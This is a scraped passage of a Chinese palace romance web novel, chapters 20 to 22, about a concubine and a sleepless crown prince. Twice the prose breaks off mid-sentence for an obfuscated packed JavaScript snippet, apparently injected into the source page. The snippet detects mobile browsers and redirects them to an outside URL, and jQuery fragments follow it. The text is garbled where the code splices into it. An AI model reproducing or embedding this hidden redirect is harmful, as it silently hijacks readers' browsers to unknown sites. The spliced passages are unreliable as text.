按着他的心思,这姑娘留便留下了,大不了眼不见为净,陛下那头总归是个交代。可是她偏生在膳食上头出错,殿下铁了心要撵人,他也不能叫殿下受了委屈,只能尽力周全。 “搬去那屋,好好清理一番,再递进书房去。” “是。” 顺意捧着书走了几步,却想起什么来,停下脚步道:“对了师傅,宋娘子问您,她什么时候来当面交差?” “什么宋娘子?” 顺意一脸懵,这东宫里头,还有其他宋娘子? 全福想到此,面色一变:“她怎么还在?算不完账册,还不麻溜地出宫去,还想到殿下跟前去受死?” 顺意想要挠脑 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李岏半闭着眼睛,自觉地伸出手来,太医忙仔仔细细地搭脉,诊了半晌眉头紧锁,犹豫了会道:“臣斗胆瞧一瞧殿下的面相?” 见没有拒绝,便抬头瞧了瞧,脸色虽然依旧如玉一般,但较之平时,全是掩不住的倦容。 太医断了半天,殿下龙筋虎骨脉象好的很,没瞧出什么异常,面上除了疲惫也无不妥,心下有些没底,额上的汗不自觉地淌了出来。 沉吟一会小心翼翼问道:“臣听闻殿下近几日夜里难眠,似听到些奇怪的声响?” 李岏道:“是念经声,听不清楚。” “念经声?是和尚。。” “不,”李岏睁开了眼睛,向来深邃的眼眸此刻蒙上了一丝迷惑,“是女子的声音。” 太医一惊,偷偷地擦了把汗,拿余光看了看旁边的全福。 这。。。这该请的不是太医吧? 全福站在一旁,面无表情,心中却骂道,瞧你这是什么表情!我不傻,除了你,我还偷偷请了钦天监的老大人,那岂能让你知道。 太医无法,只能背医术来救命:“太子殿下日理万机,乃万民之福,然则劳心伤神过甚,以致阴阳失衡,心火亢盛,肝火亦随之而起,内扰心神,故而夜不能寐,辗转反侧,此为''心火旺盛,肝阳上亢''之症也。” “臣会以清心泻火、平肝潜阳为主,辅以安神定志、养血柔肝之剂。臣以莲子心,酸枣仁、远志安神除烦,白芍、枸杞等养血柔肝,调和阴阳。。” 李岏挥手打断他道:“别背书了,听得脑仁疼,去开方抓药。” “是。”太医忙不迭退了出去。 全福叫人跟着去开方抓药,转头却见殿下已捧了书歪在椅子上看,不由道:“看书劳神,殿下您安心养上一日,不然这么熬下去,便是铁打的身体也受不住啊。”说着忍不住拉起袖子来抹了抹眼泪。 抹完眼泪到了外间,却见太医鬼鬼祟祟在外面还没走。 瞧见他出来,忙去整理药箱,装作忙碌的模样。 两人交换了个眼神,各自散了。 20. 第 20 章 宋轻风无事一身轻,一觉睡到傍晚,到底被饿醒过来。 她藏在身边的不过三个饽饽,早吃完了,而今已经颗粒没有,她摸了摸饿得咕咕的肚子,决定出门去寻全福。 刚出了门还不用寻,就见全福站在远处的廊下,正和一个人讲话。 天色已经昏暗,那人背对着自己瞧不清,但是全福的脸上却一片鬼鬼祟祟。 宋轻风轻手轻脚走上前,听到全福压低着嗓子道:“医正大人有什么想说的?” 对面的人道:“太子殿下方才说,夜里总是听到一个女子的念经声?” “正是。” “咳咳,”对面的人捂嘴咳嗽了一声,“这问题的关键不就在这里?” 全福瞪眼道:“你这是个什么意思?” 对面的人缩了脖子四下张望了一番,宋轻风这才瞧见这人似乎须发皆白,长须随风飞扬,只是日头快要落山,视线不清,瞧不清什么模样,但像是好大一把年纪。 对面人压低了声音道:“听闻那宋娘子失了宠,太子殿下几日不曾招幸了?” “是又如何?” “那殿下而今可有其她姬妾伺候?” 全福道:“殿下日理万机,夙夜竭虑,哪有心在此上头。” 对面老头听闻一拍大腿:“这不就得了!” 这一下将全福吓了一跳:“什么得了!” 老头见全福一副木头模样,拿他没办法,只好凑上前低声道:“太子殿下已近成年,正是血气方刚之时,这不。。夜间肝火最是旺盛之时,又曾尝过滋味。。咳咳,全福公公久在殿下身边伺候,殿下未曾开口提的,也该多为殿下考虑才是。” “什么!你是说殿下。。”全福没说下去,躲在柱子后的宋轻风却听明白了。 殿下年纪大了,确实血气方刚的,还有一身的蛮劲,她深有体会。 全福半晌才叹气道:“唉,说来这宋娘子在的时候,殿下确实三五不时的。。” “只是而今她失了宠爱,殿下不待见她,我也没办法不是。” 老头连连摇头道:“这你都不懂,没了宋娘子,还有王娘子李娘子,难道这宫里还缺女人?” 全福嗤笑一声,你懂什么!以为殿下是随便一个人都宠幸的么! “必要找个合心意的,说来其实殿下以前是有喜欢的人的,只是。。。” 他有喜欢的人? 宋轻风有些意外,想起他冷冷的眉眼,他那样的人,喜欢的是个什么样的人? 全福却截住了话头道:“说的有理,好在近来宫中已经在为殿下择选太子妃太子侧妃人选,听说已很有些眉目了。在这之前,我再想想办法吧。” 想起殿下这两日的倦容,全福痛下决心,万不能叫殿下受了半分委屈。 只是扳指数来,东宫里头稍微上点台面的宫女,只有乌梅又绿二人,现下与其出去现找,不如就让她二人试试。 可是这二人是伺候宋轻风的,殿下见了,难免要想到她。 但是这时候又上哪去找个合适的? 而今正是定选太子妃的关键时期,若是突然搞个侍妾入府,那也太过奇怪了些。 况且而今最可能做太子妃的那位姑奶奶,那都不是省油的灯,若是知道自己这时候往殿下跟前塞人,只怕要吃了他。 全福愁苦了脸,对面的老头却转身走了。 宋轻风躲得费劲,正准备松口气,却见全福又一个人自言自语道:“算了,我还是也悄悄把钦天监的请来做法吧!” 说着小步要往方华殿正殿去,宋轻风见状,忙跑上前来,气喘吁吁地道:“全福公公,您留步。” 全福停下来,瞧清是她,大为惊讶:“这么晚你怎么在此处?” 宋轻风将气喘匀了才道:“按着殿下的意思,账册我都算完了,可以去拜见殿下了吗?还有,去之前,能不能先给我点吃的?真的好饿。” 全福方要拒绝,转脸却见她站在檐下的灯笼下。 正仰着脖子看着他,面容姣好,双目璀璨。 他心中一动,这不,有个现成的。 先前殿下屡屡招她侍寝,想来也是满意的。 他已知道那守成与宋轻风说的话,看来这娘子不过是被人算计了,吃了亏。 她虽然进宫的手段不正,这些日子倒也算安分守己,况且也只是暂时的,等以后太子妃娘娘入府了,自然也没她蹦跶得意的地方了。 全福越想越觉得靠谱,将拂尘一甩,当即盯着她道:“你想去拜见殿下?” 宋轻风见他盯着自己的目光仿佛在看一块香饽饽,心头一阵恶寒。 宋轻风退后一步,结结巴巴道:“是是,全全全福公公。。能帮忙通传吗?” 全福想了想道:“你若是诚心去向太子殿下请罪,或可有一线机会。我今日且去为你试一试,能不能成,全看你自己的造化。” 殿内顺意却捧着文书小步迈出,瞧见全福一喜道:“师傅,您终于回来了啊,太子殿下不在方华殿。方才赵詹事求见,殿下去崇华殿了。” 全福眉头一瞪,一巴掌拍过去骂道:“你们这些个个都是死人吗!这是什么时辰了不知道拦着点,太子殿下身子骨娇贵,需要好好将养不知道吗!还有这个不长眼的赵丰盈,这么晚了还巴巴地跑来,累着了太子殿下,他赔得起吗!” 顺意委屈巴巴地捂住被扇了的脸,支支吾吾地不敢说话。 宋轻风站在一旁,见全福急匆匆地走了。 天色已经彻底黑了下来,她站在门口,瞧了瞧四周各处站满了穿着甲胄的守卫,各个身形笔挺,手中长枪闪着寒芒。 她瞧见心中总是莫名生出许多惧意。 在宫里这些日子,她总是下意识避开这些人。 可她而今站在一旁,不说话又显得瘆得慌,只好没话找话问右手边的侍卫道:“大哥,你们这样每日要站多久啊?” 那侍卫仿若未闻,依旧腰背挺直,一动不动,连看都没看她一眼。 额,有点冷酷。 宋轻风又转头对左边的侍卫道:“晚膳时间到了,你们几时去吃饭?” 依旧不理她。 宋轻风只好自己站着,秋夜里头丝丝寒气升起,自脚底往上窜,她又还没用晚膳,一时愈发浑身发冷。可是又怕错过殿下回来的机会,不敢离开,只得缩着脑袋站在风里头等。 崇华殿里,詹事府詹事赵丰盈躬身道:“太子殿下这是您一早交代的,户部拟出的账目,臣已核算过,总计需要九百万两白银。” 冬季将近,西北苦寒之地,又受了地动的影响,边军和灾区百姓的御寒衣物,过冬的煤炭粮食药草,马匹草料皆要早做准备。” 李岏坐在灯影下,看了他的奏报,点了点头道:“不错,便按这办吧。你草拟一份给户部,工部和兵部,让他们立刻准备起来。” 抬头却见赵丰盈欲言又止,面露难受。不由道:“这点钱对户部来说,难道还是问题?” 赵丰盈行礼道:“不瞒殿下。九百万的费用户部本也拿得出,只是。。只是岁末将至,宫中多处殿阁亟待修缮,钦天监又言今冬是大寒之年,万一大雪封路,这京师恐有个不周之处,也需早做准备,用钱的地方实在太多。光是修葺宫室,至少需五百万两,户部表示实在。。有些捉襟见肘。” 李岏合上奏疏打断他道:“安置灾民和稳固边军,乃是首要之务,其余的皆可暂时搁置。” 赵丰盈飞快地抬头看了他一眼,而后埋下头低声回禀道:“太子殿下明鉴,今日午后,陛下召了户部兵部几位大人入了宫。” 李岏挑了挑眉头,等着他继续说下去。 赵丰盈却跪地道:“据臣所知,陛下特意交代了,宫室关乎皇家颜面,也是朝廷的体面,亦关乎民心所向,不能再拖。况且太后娘娘年事已高,一心想要搬去恩华殿住,更要及时修葺完善,了了她老人家的一个心愿。” “今冬大寒,京师里要早些囤好过冬的物资,陛下还说,这几年臣工们勤勉,国泰明安,年底要为众臣工送上一笔额外的俸银。” 李岏听闻却突然笑了笑,伸手抚了抚腰间的玉带,单这最后一条,众臣工只怕便再不会反对。 说完他看了看上首道:“陛下这是。。” 李岏摆手打断了他道:“太后既有此心,这殿自然要修,只是恩华殿却与而今太后住的殿太近,修葺声恐吵着她老人家。正好太后她老人家冬月的时候会去法华寺住上个把月,那时候再开工不迟。至于给众人发额外的俸银更是好事,孤无有不允的。不过这些不也都是年底的事么,左右还有三四个月,你先去按孤的去办就是。” “是。”赵丰盈忍不住擦了擦额角的汗,太子殿下所言有理,左右先下手为强,有钱先用了,其余事再说。 可是万一。。 李岏起身站在门边,又回头道:“帐上亏着的两千万两的借银可理清楚了?” 说着看了看无边的夜色,嘴角微扯:“这些陈芝麻烂谷子总要好好翻出来了,不过这事。。孤已想好人选,你另有安排,不必趟这趟浑水。” 赵丰盈点头称是,不由飞快看了眼自己的主上。 心中明了,若是有人反对,那两千万两的旧账被捏在手里等着翻,谁还敢出来反对! 全福悄悄进了来,手中端着碗黑乎乎的药汁。 上前道:“太子殿下,药熬好了。太医方才嘱咐了,喝完药您定要好好歇息才是。”说着飞快地白了赵丰盈一眼。 赵丰盈接受到全福刀人的眼神,忙行礼道:“臣打扰殿下了,这就告退。” 李岏挥了挥手,眼也不眨,一口将汤药喝了精光。 今夜月明。 万籁俱寂。 他从崇文殿出来,径直从辇车旁走过没有要上辇得意思,只是慢慢踱步回方华殿。 伺候在旁的全福喋喋不休地道:“太子殿下,夜里风寒,您又身体不适,还是奴婢伺候您坐辇回去吧?” 李岏道:“闭嘴。” 全福一缩脖子,忙捂住嘴不敢再劝。 寒风顺着各处缝隙往皮肤上钻,李岏晕晕沉沉的头脑在夜风里反而清明了许多,困意消散,倒是更生了月下独行的心境。 全福跟在后头,瞧见前面的人影修长,衣袂带风,却形单影只,愈见萧索。 他自小跟在身边,太子殿下少时也是调皮活泼的,只是先皇后娘娘薨逝地早,没几年陛下又扶了继室,都说有了后娘便有后爹,在这皇家也难以避免。 殿下从此便转了性,不过五六岁的一个小人,便沉稳地像个大人一般,每日里睡得极少,少时起早贪黑地刻苦读书,而今大了,政事上也极勤勉,几乎少有休息之时。 只是,这么些年,殿下身边人虽多,能说得上话的,却是一个也没有。 他跟在后头看了这么多年殿下一个人的背影,愈发眼眶有些发酸。 全福忍不住偷偷给了自己一巴掌,自己果真该死,为何没早给殿下找个知冷知热的跟着。 害得殿下而今都快十八,还是孤身一人,夜难安寐。 而今连身体都虚了。 李岏不知身后人的想法,只是一个人负手走到方华殿前,值守的侍卫们见到他,忙都行礼,甲胄和长靴的撞击声在夜色里响起。 在一片整齐划一里,突然传来不同的啪嗒啪嗒的声音。 抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919757|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首却见远处跑过来一个人,不知为何远远地又站住了,惊喜地道:“殿下您回来了,太好了。” 李岏脚步一顿,屋檐下的宫灯太亮,将那人的面容隐在了阴影里。 他瞧不清,只从声音和身形隐约瞧出是个女子的轮廓。 她的语气很是惊喜却又很是自然。 好像一直便是如此。 好像每日里都有这么个人在这等着,每日里等到他时却都会这般惊喜问候。 李岏冷了一夜的心突然升腾了起来。脚步不自觉放快了,走到近前。 却见那女子仰着头看他,脸颊有些发白,鼻尖却是被冻得通红,一双圆圆的黑眼睛里闪着灯火,就这么直直地看着他,这眼神里头全是喜悦。 待看清来人容貌,李岏刚升起来的心却又落了回去,想到自己方才一瞬间的想法,更觉可笑。 不由声音都透着寒:“你为何在此?” 宋轻风咧开嘴笑道:“殿下是不是也很意外?妾也很意外呢。” 李岏眉心一皱,露出不解。 宋轻风解释道:“按着殿下的旨意,妾已完成了,特来复命。” 李岏看她脸带笑意,却语音颤抖,穿得单薄,浑身瑟缩,不知在这秋夜里头站了多久,不由拧了拧眉头道:“进来。” 说完当先一步走了。 宋轻风一路跟到暖阁,见太子在书案旁坐了下来,全福却跟上前去,铺纸磨墨,他拿起笔埋首写了起来。 却并没有立刻问她。 她一时站在当地看着,被殿内冷凝的香味激地又抖了抖。 李岏头也不抬,只是吩咐全福:“生火。” 全福瞥了瞥屋角已燃着的银笼,忙命人又去加了两个薰笼来。 银丝炭燃起,一时屋内愈发暖烘烘的如春日暖阳在侧,宋轻风感到浑身寒气尽去。 她便这么看着他埋首写字,一时看得也入了迷。 不知写了多久,李岏搁了笔,整个人靠在椅背上歇了歇,这才看向站在下首的女子。 “听说你算好了?” 宋轻风回过神来,目中有一瞬间的迷惘,很快回复过来点头道:“正是。殿下还是很好的人,原来并没打算真的为难妾啊。” 李岏看了看一旁堆着的半人高的账册,这是去岁全年朝廷支出的国记帐薄,里头的明目繁琐而精细,詹事府当时好几人花了三日汇算,结果才摆上了他的案头。 他留着并没打算要算什么帐,只是总要将里头的内容翻上一翻,就像看书一般,温故而知新。 不过三日,这女子居然敢说自己算完了,当真是有些可笑。 “你可知欺君是什么罪?” “是。。”宋轻风犹豫一下说道,“诛。。诛九族?” “不错。孤给你机会出宫去,总归是条活路,若是欺君,那怎么死,就由不得你了。” 宋轻风一时有些拿不住,结结巴巴地道:“若。。若是算算错了,也算欺君么?” 李岏不答,那目中分明都是果然如此。 一旁全福忙上前与她小声道:“殿下仁慈,宋娘子您快出宫去吧。” 说着双目一扫,周围侍卫会意,上前来请她。 不及近前,宋轻风一侧身避开了,与李岏道:“妾愿意为您死。” 为我而死? 李岏一只手搭在扶手上,面上却毫无动容。 这世上,愿意为他死的人太多了。 莫说东宫卫,便是他的嫡系京畿右锋营,京外的西山大营。。里头的每一个人的存在,都是为了必要之时毫不犹豫地为他而死。 李岏锋冷的眼神看着下首不知天高地厚的女子,声音满是嘲讽:“所以,你是在对孤宣誓效忠?” 宣誓效忠? 宋轻风愣了愣,又想了想,好像是这么回事:“是,妾效忠您。” 这样正经的话,从她嘴里说出来倒是这般波澜不兴。 李岏随意地靠在椅背上,问道:“凭你,准备拿什么给我效忠?” 宋轻风毫不犹豫道:“拿我自己,我喜欢你,自然愿意为你付出一切。” 她说这句话时面上一片平静,就像在说吃饭喝水一样寻常,一双圆圆的黑眼睛被烛火照得熠熠生辉。 我喜欢你? 一个侍妾居然敢说出这样大逆不道的话!还说得这般理直气壮。 李岏一时气极反笑。 一旁的全福本来正在小心翼翼折叠殿下的手书,听此言手下一抖,看着底下站着的女子,不知为何眼眶突然酸得厉害。 他是看着太子殿下长大的,第一次听到有人这般直白地与殿下说这样的话。 李岏感到多日未曾好好休息的脑仁一阵阵地疼,他转了转手上的扳指,满目嘲讽:“你了解我?” 宋轻风摇了摇头。 “听说过我的事?” 宋轻风又摇了摇头。彩云镇离此千里,山高皇帝远,甚至于她入京半年,想都未曾想过,会与当今的太子产生任何关联,自然更没关注过这个人。 “既不认识我,连我是个什么样的人都不知道,居然就敢说喜欢?” 宋轻风歪头,看见他靠在椅背上,一身的锦衣在灯火下流光溢彩,眼角的红痣若隐若现,这通身的气度叫人不敢半点亵渎。 她不自觉连声音都轻了许多:“殿下生得这般模样,心性自然也是极好的。自那日在宫宴上第一眼看见您,我就知道了,为了您,我什么都可以做。” 一旁的全福腿肚子发软,险些跌倒在地。 娘咧。 这宋娘子是个狠人! 李岏搭在扶手上的手指一紧,指尖因为用力微微泛白。 21. 第 21 章 李岏搭在扶手的指尖因为用力微微泛白。 几乎是一瞬间,他想要叫人将她拖出去好生打上一顿,又想叫人直接将她撵出宫去。 她说着这样不知羞的话,面上却还能一片坦然。 此刻看着他的眼睛里头,星火璀璨,何止是喜欢,分明全是迷恋。 他转头看向屋外,唇角发白,最后也只是扯了嘴角冷斥道:“真是半点规矩也没有!看来是太闲了!” 说完松了手,起身拂袖而走。 他走得突然,全福好一会才反应过来,忙急急地追上去。 走到门边又忍不住回头望一眼还没事人一般的宋轻风,不由连连摇头感叹。 这个宋氏实在不得了。 果然是乡野里出来的,路子就是野。难怪这么多年,就她一个能被御赐进了东宫。 这京师里头的闺秀小姐谁能比得过。 不过她方才说她喜欢太子殿下,那倒也不奇怪。 我们太子殿下生来俊美,这模样放眼全京,也没几个能比的,这世上哪个女子不爱俏郎君啊!再说殿下身份贵极,虽然平日里为人瞧着冷了一些,这不愈发惹得这些小姑娘们趋之若鹜,芳心暗许? 就他所知,以前太子殿下出席宫宴,背地里不知多少女子偷窥,目露景仰。 全福越想越得意,不妨突然啪哒一声撞在了什么东西上。 他揉了揉鼻子一抬头,太子殿下黑沉沉的脸映入眼帘。 全福心道凉了,慌忙跪下请罪:“奴婢该死,殿下恕罪啊。” 李岏想起那夜也叫这女子撞在了身上,才有今日之事。心头愈发烦躁,冷斥道:“半点规矩也没有!看来只有打一顿才知什么是敬上之心!” 全福吓得脸都白了,哭着脸求饶道:“奴婢知错了殿下,求您饶了奴婢,奴婢以后再不敢了!” 李岏低头见他俯在地上痛哭流涕,模样甚是可怜,这才冷哼一声抬步走了。 宋轻风在屋内等了半晌,似乎没人来撵她出去。 也没人来考问她的功课了。 她四处瞧了瞧,一个人也没有,遂小声问道:“喂,有人在吗?” 无人回应。 屋内烛火很亮,他的东西都整齐地放着,居然静悄悄的。 宋轻风双目一闪,撩起裙摆,踮着脚跑到一旁,取下了架子上那只上了锁的锦盒。 锁头很小,只有花生米大小,上头的花饰精巧,是纯金的。 她从鼓囊囊的荷包里飞快地掏出一个柔软的软糖样东西,在那把锁上用力一捏,按压中,一个弯弯曲曲的锁孔形状便拓了下来。 不知是屋内太热,还是她太紧张,一时掌心里都是汗。 方将东西放回荷包里,却听门外有脚步声响起。 宋轻风心下一紧,慌不迭将锦盒放回了架子。 方放好,却见顺意已推门进来了,她人已来不及多余的动作。 好在顺意进这屋子里习惯性埋头走路,不敢乱看,跟在身后的几个小太监也全都埋着头。 几人悄没声息,将屋内的薰笼撤了。 顺意见她站着,只是小声道:“宋娘子,师傅让我来告诉您,您回去安寝吧。” 宋轻风略感到半丝安慰,一眼瞧见顺意手里拧着食盒。 方才太子在时,她顾着看人忘了饿,此刻这食盒内的香气屡屡飘出,让她忍不住肚子咕咕直叫,满脑子只剩吃的。 不由一把拉住他道:“顺意公公,这里是什么好吃的?” 顺意道:“这是方才太子殿下吩咐送来的点心,不想奴婢晚了一步,殿下已经安寝了。” 宋轻风立刻低声道:“既然殿下不吃了,可以悄悄给我一点吗?” 顺意慌忙摆手,声音更是压得极低:“宋娘子您不要为难奴婢了,这是太子殿下的膳食,没有吩咐,奴婢怎敢乱动。” 宋轻风有些泄气,又闻了闻香味,咽了咽口水。 “不过,”顺意却又小声道,“桌案上的点心也该换了。” 几块点心下了肚,饿得火烧火燎的感觉也去了,宋轻风很快就睡了过去。 不想梦里的自己还是饿。 好熟悉的感觉。 她四处张望,发现天已经亮了。 远处的草丛里传来秋虫的吱吱乱叫声,是蟋蟀。 浑身不知为何疼得厉害。 在这个梦里,她又变成了不到半人高的小女娃,一个人跌跌撞撞地走在一个杂草丛生的路上。 在这条路旁,她摔了个跟头,却遇到了一个小男孩,那小男孩穿着暗红色的绸缎衣裳,灰头土脸,好好的衣裳也脏了。 瞧见她,他小小年纪也不说话,站着一动不动像是木头一般。 她从他面前走过,无意中似乎听到了熟悉的咕咕声。 不等她回头,那小男孩刹那面色通红一片,嗫嚅道:“我,我只是有些饿了。” 她忍不住笑着指他:“你肚子叫的比我的还大声。” 笑完才瞧见他耳尖都红了,眼下的一粒小痣更是鲜红如血。 后来她将他身上的衣裳卖了,换了好多馒头。 那是她饿了好多天的第一顿饱饭。 吃得肚子撑得滚圆,疼得在地上打滚。 谁知虽然有了馒头,他肚子咕咕叫得响,却一个也不吃,甚至很是生气,理也不理她。 她问了半晌,才得知他原来是气她卖了他的衣裳,居然叫他衣冠不整,羞于见人。 她哄骗了半天哄不好,只好取了路边的草来,给他编了好些个草蟋蟀,逗他开心。 他瞧见了蟋蟀,终于露出了孩子的笑容。 直到后来他要回家去了,走之前,他蠕动了几次嘴角,终于在快要瞧不见的时候,大声问她叫什么名字。 梦中的她随口乱编了什么名字已经不记得了,只是记得自己一口气跑上前去,似乎伸出手来摸了摸他眼角下的小痣道:“小木头,以后瞧见这粒痣,我就认出你来了。” 后来的记忆就全模糊不清了。 好像有什么重要的事忘了一般。 她不知道自己是怎么到了彩云镇,但是在彩云镇,多年以后她却认出他来了。 他就像是天神一般降临,将她从无边的黑暗里解救出来。 让她知道,这个世界上,她也是值得被人爱着的。 只是后来,他为了引开乱匪,再也没有回来。 回来的,只有他的死讯。 宋轻风摸了摸脸颊,似乎有些湿湿的。胡思乱想了一夜,不知有没有睡着,却听到宫禁不知何处传来了打更声,不远处窸窸窣窣的声音随之响起。 门口有叩门声。 宋轻风忍着困,艰难地从床上翻身而起。 却见乌梅和又绿顶着黑眼睛站在门口。 宋轻风有些诧异道:“这是太阳打西边出来了?你们怎么起这么早?” 乌梅却困意全消,满面喜色地道:“方才方华殿来人了,请娘子去呢。” 这么半夜三更叫她去,想来知道是什么事。 她们两个愣是按了宋轻风一番洗簌打扮,才放她出门去。 天还没亮,月亮已落在了西边,正是夜色浓重之时,连檐下的宫灯都拨暗了许多。 方华殿外,门口把守的侍卫较白日更多了,将整个殿围得铁桶一般。 宋轻风认出为首的还是贴身侍卫统领高守,一身铠甲上落了霜露还未干。 他前些日子因为她的姜饼刚被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951731|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下严厉训斥过,面上大大的无光,现在瞧谁的目光都透着可疑。 此刻瞧她的目光,却与瞧贼也差不多了。 全福正好从里头出来了,瞧见她来,上前道:“殿下还未起,娘子且与我来。” 哪知高守却带着人一番审查。 全福的表情上全是抱怨,这高守,现在疑神疑鬼,连他都查个没完了! 但是夜色太过寂静,他也不敢真发出声。 好一会两人才被放进了内殿。 宋轻风原以为全福要带她去内寝,哪知却一路往西暖阁去。 直到站在两人高的顶柜旁边,她才知晓全福深更半夜叫她来,是叫她来整理太子殿下的衣裳! 全福道:“太子殿下喜净,若是衣裳上有半点不洁,都要及时换掉。” 宋轻风张了张口,忍住满身的困意道:“所以?” 全福心道,那还不是殿下嫌你太闲,让我寻点事给你做做。 我这可是良苦用心。 这不,殿下一日要换许多套衣裳,有的你忙,况且这又是最贴身的活计。 还能名正言顺地缓解一下殿下近日的身体不适。 全福道:“衣裳每日里自有尚衣坊的人送来,云嬷嬷也教过你衣裳的仪制,什么场合该穿什么衣裳,万不可弄错了。” 宋轻风看着满柜子林林种种,无一不是精美讲究,闻起来沉静好闻,瞧了几眼,想象这些缤纷多彩的颜色穿着太子身上,一时困意全消。 她先囫囵个瞧了一遍,才指着几件衣裳请教道:“这些瞧着形制差不多,似乎只有颜色不同,可有什么讲究?” 全福道:“同样形制的,每种颜色都有一件,不过挑着穿罢了。” “。。。” 浪费可耻。 “既有这么多种好看鲜艳的颜色,殿下平日里为何都是黑白为主?” 全福呆呆地反问道:“有吗?殿下一向是光彩照人的。” 宋轻风:当我没说。 全福道:“今日殿下在宫中修养,不入宫,便该选些轻便舒适为主的。。。” 。 李岏没想到翻来覆去又是一夜。 竖了耳朵听了半晌,确实好像听不到女子的念经声了。 但可怕的是,吃了太医的药,虽然听不到念经声,可明明已经困极,却是毫无睡意。 多日未曾得到休息的大脑已经隐隐作痛。 他暗骂太医是个庸医,今日定要寻来好好教训一通。 在床上躺得眼睛发酸,骨头发硬,终于忍受不住,一把坐了起来。 守夜的两名小太监慌忙趋步上前来。 夜色还未亮,殿下睡觉时也不喜烛火,屋内一团漆黑,只有屋门处一颗拳头大的夜明珠闪着幽光。 小太监跪在床边轻声问道:“太子殿下,您有何吩咐?” 李岏道:“起身。” 小太监一惊道:“太子殿下,还未到卯时,您不再睡会?” “多嘴。” 小太监吓得不敢再吱声,额上不禁沁出汗来,伺候殿下洗漱更衣的侍从们还未来,这个时辰,只怕还未曾准备好。 遂忙道:“太子殿下您稍候,奴婢这就叫人来。” 李岏哪管得了那么多,自己掀开床帐,也不等小太监给他穿好鞋,只是自己随意跻着,随手披了床边的披风,就自己往净室去。 净室里头有干净的水,只是已是冷透了,泼在脸上冰凉一片,将他的躁意泼去了不少。 小太监看他用冷水自己洗脸,不敢多言,却心中惴惴。 李岏接了小太监递过来的毛巾擦了擦脸道:“你去御马监叫他们准备一下,孤要去骑马。还有,天还未亮,不必惊动其他人。” 22. 第 22 章 李岏洗簌完,自己推开卧室门出来,也不等人,径直往体顺堂的西厢房去。身后另一名守夜的太监见他是要往西厢房去,想来是要来换身衣裳。 他一时有些着急,不知全福公公来了没有。 方才就他们两个守夜的在旁伺候,根本没有机会通知候在外头的人。 李岏走到西厢房外头,方要推门而入,突然听到里头传来一个女子的声音:“哇!这件太好看了!太子殿下肤白如玉,穿这个更衬肤色!” 他脚步一顿,立在了门口。 屋内全福和宋轻风并未察觉外头有人,自顾在顶柜旁挑衣裳。 全福瞧见宋轻风手里那件丹枫红祥云团纹棉袍,眼一黑,这么艳的颜色,已经想得见殿下瞧见时的面色是怎样难看。 “殿下素来喜欢庄重的颜色,这丹枫红太艳。” 宋轻风只好依依不舍地丢了手,又选了件云霞黄道:“太子殿下眉眼如烟,穿这个更显俊美。” “还有这个,太子殿下的手指又细又长,穿这个一定更能突出这意境。” 全福见这颜色,更是云霞一般,他脑海中描绘出殿下穿这样颜色的衣裳,好像确实不错。 殿下肤白气冷,但是到底不满十八,正该是穿这些鲜亮颜色的时候。 但是这些日子殿下睡得不香,心情不美,还是不要去触霉头了,不由无奈地上前道:“还是我来选吧。” 说着从中挑了件白底粉金的绸袍。 宋轻风拍手道:“太子殿下气质高雅,穿这个色最显气质。” 全福这才知道,敢情是情人眼里出西施,什么色都能被她夸上一番。 他瞧了瞧这姑娘真诚的眉眼,一点没有害臊的神情,不由暗叹一声,看来这宋娘子对殿下已经泥足深陷,不可自拔。 站在屋外的李岏,面色忽白忽黑,比那些五颜六色的衣裳不遑多让。 这个全福,居然敢叫她负责自己的衣裳? 虽然没瞧见这女子给自己挑的什么衣裳,可她这夸张的赞颂声却叫人无语。 没想到连背地里都不忘阿谀奉承。 可惜在这无人知道的角落,她算是白白浪费了唇舌! 屋里却又传来那女子咯咯的笑声:“太子殿下的腿又长又直,穿这样的一定好看!” 李岏脸黑得快要能滴下墨汁。 同站在屋外的守夜小太监偷偷瞧见殿下的脸色,忍不住腿肚子打抖,恨不能自己立刻消失在原地。 屋内的笑声不绝,李岏自然从来也不会顾忌其他,一把推开了门。 果然瞧见那个女子,双目圆瞪,直直地看着门口。只是那眼中的笑意还未来得及隐去。 烛火照见她手中拿着的,却是一件菡萏粉色的织锦长袍,瞧那制式和尺寸,分明也是为自己准备的。 李岏太阳穴一阵刺痛,他从来不知道,尚衣局给他准备的衣裳,竟然还有这样不三不四的颜色。 全福却一惊,瞧见太子殿下虽然烛光照在脸上,面色却也与锅底无异,这是暴风雨的前兆。 他慌忙上前行礼道:“太子殿下,您怎么这么早便起来了。” 宋轻风也跟着跪地行礼,怕手中的衣裳落了地,便揽在了自己怀中,好大一团。 李岏看也未再看她一眼,冷声道:“孤要骑马,换行服。” 全福忙去取了行服来捧着。 宋轻风左右一瞧,这屋内只他二人,全福双手捧着衣裳,太子只是长身站着,瞧那模样是不可能自己穿的。 她忙识趣地将怀里的衣裳叠好放在一边。 见他披着披风,遂拽了下摆要将那披风自他身上脱下。 披风绸缎顺滑,不过轻轻一拽便滑落在地,露出里头一件单薄的白色里衣,隐约瞧见内里的肌肉线条。 他的体温带着体香,便这般扑面而来。 侍寝时候瞧见的所有画面瞬间涌进了宋轻风的脑海。 李岏见她磨磨蹭蹭,不耐烦地动了动。 宋轻风回过神来,一张脸通红,忙去取了全福手里的衣裳要给他穿上。 只是他身量高了她一个头,她用力踮起脚来才勉强够得着。 